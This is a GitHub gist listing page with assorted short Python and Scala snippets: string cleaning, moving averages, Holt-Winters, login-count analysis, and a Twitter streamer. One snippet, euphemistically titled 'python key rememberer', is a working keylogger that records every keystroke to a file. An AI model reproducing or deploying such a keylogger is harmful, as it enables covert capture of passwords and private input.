Skip to content

Instantly share code, notes, and snippets.

View bigsnarfdude's full-sized avatar

BigsnarfDude bigsnarfdude

View GitHub Profile
@bigsnarfdude
bigsnarfdude / gist:4677639
Last active December 11, 2015 23:38
stripping punctuation from strings function python
import string
def clean_data(data):
for char in string.punctuation:
data = data.replace(char, "")
return data
@bigsnarfdude
bigsnarfdude / gist:5516567
Created May 4, 2013 07:08
dict processing
data = open('sequence', 'r').readlines()
elements = {}
for line in data:
(user, element, js_time) = line.split("\t")
if element not in elements:
elements[element] = 1
else:
elements[element] += 1
@bigsnarfdude
bigsnarfdude / Untitled.py
Created May 17, 2013 05:52
Python Moving Average
from random import randint
from itertools import islice
from __future__ import division # For Python 2
y = [ randint(1,999) for num in range(30) ]
def window(seq, n=2):
it = iter(seq)
result = tuple(islice(it, n))
if len(result) == n:
@bigsnarfdude
bigsnarfdude / gist:6242371
Created August 15, 2013 16:43
Holt Winters Python Implementation
def holtwinters(y, alpha, beta, gamma, c, debug=True):
"""
y - time series data.
alpha , beta, gamma - exponential smoothing coefficients
for level, trend, seasonal components.
c - extrapolated future data points.
4 quarterly
7 weekly.
12 monthly
@bigsnarfdude
bigsnarfdude / gist:6442121
Last active December 22, 2015 07:59
python key rememberer
import pyHook, pythoncom, sys, logging
file_log = '/home/Ubuntu/log'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
@bigsnarfdude
bigsnarfdude / gist:0c29a729d0dce6b0caae
Created May 13, 2014 17:38
Scala Algebird for IP Address count attack traffic
case class OutsideServer(val ipAddress: String, val LoginsPerMinute: Int) extends Ordered[OutsideServer] {
def compare(that: OutsideServer): Int = {
val count = this.LoginsPerMinute - that.LoginsPerMinute
if (count == 0) this.ipAddress.compareTo(that.ipAddress) else count
}
}
case class InsideServer(val ipAddress: String, val LoginsPerMinute: Int) extends Ordered[InsideServer] {
def compare(that: InsideServer): Int = {
val count = this.LoginsPerMinute - that.LoginsPerMinute
@bigsnarfdude
bigsnarfdude / gist:bd3f7b59e49d4c555bb0
Created June 6, 2014 03:07
HashTag Twitter Streamer
from tweepy import Stream
from tweepy import OAuthHandler
from tweepy.streaming import StreamListener
consumer_key = "HsYoJa0sdf980as8fbFh0w"
consumer_secret = "k698asdf9870sdf09a7s8df908a7sdf6A7m4"
access_token = "364asdf987asdfuiytsdaf765sdfasdfoiyLgS"
access_token_secret = "SFasdf9807asd09f87asf9087asdfbik5D"
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
@bigsnarfdude
bigsnarfdude / gist:992070c464c021644494
Created June 12, 2014 19:20
Dems alotta jars in Apache Spark
[info] Including: scala-library-2.10.4.jar
[info] Including: netty-all-4.0.17.Final.jar
[info] Including: jetty-server-8.1.14.v20131031.jar
[info] Including: javax.servlet-3.0.0.v201112011016.jar
[info] Including: jetty-continuation-8.1.14.v20131031.jar
[info] Including: jetty-http-8.1.14.v20131031.jar
[info] Including: jetty-io-8.1.14.v20131031.jar
[info] Including: jetty-util-8.1.14.v20131031.jar
[info] Including: jetty-plus-8.1.14.v20131031.jar
[info] Including: javax.transaction-1.1.1.v201105210645.jar
'[info] Including: JavaEWAH-0.6.6.jar\n',
'[info] Including: ST4-4.0.4.jar\n',
'[info] Including: activation-1.1.jar\n',
'[info] Including: akka-actor_2.10-2.2.3-shaded-protobuf.jar\n',
'[info] Including: akka-remote_2.10-2.2.3-shaded-protobuf.jar\n',
'[info] Including: akka-slf4j_2.10-2.2.3-shaded-protobuf.jar\n',
'[info] Including: akka-zeromq_2.10-2.2.3-shaded-protobuf.jar\n',
'[info] Including: algebird-core_2.10-0.1.11.jar\n',
'[info] Including: ant-1.9.0.jar\n',
'[info] Including: ant-launcher-1.9.0.jar\n',
@bigsnarfdude
bigsnarfdude / SparkSQLexperiments.ipynb
Created July 1, 2014 05:03
Load Spark SQL from File, JSON file, or arrays
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.